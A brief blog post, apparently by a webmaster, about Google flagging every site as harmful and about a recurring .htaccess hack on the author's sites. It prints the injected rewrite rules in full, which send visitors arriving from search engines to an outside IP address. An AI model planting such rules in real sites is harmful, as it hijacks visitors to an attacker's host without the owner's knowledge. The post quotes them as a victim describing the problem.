Searching Google.com this morning has yielded some bizarre results. Every site is now harmful to your system! How the mighty have fallen. I feel for you googlers. I too check on most of the sites I work on every morning for the .htaccess hack. Quite a pain in the ass. Click on the image for a closer look. I googled the word “WORD”.

Read the CNET.com article.

Google.com Hacked?

Here’s my hacker code I wrestle with on a near daily basis:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*oogle.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ahoo.*$ [NC]
RewriteRule .* http://89.28.13.213/you.html?s=tube [R,L]
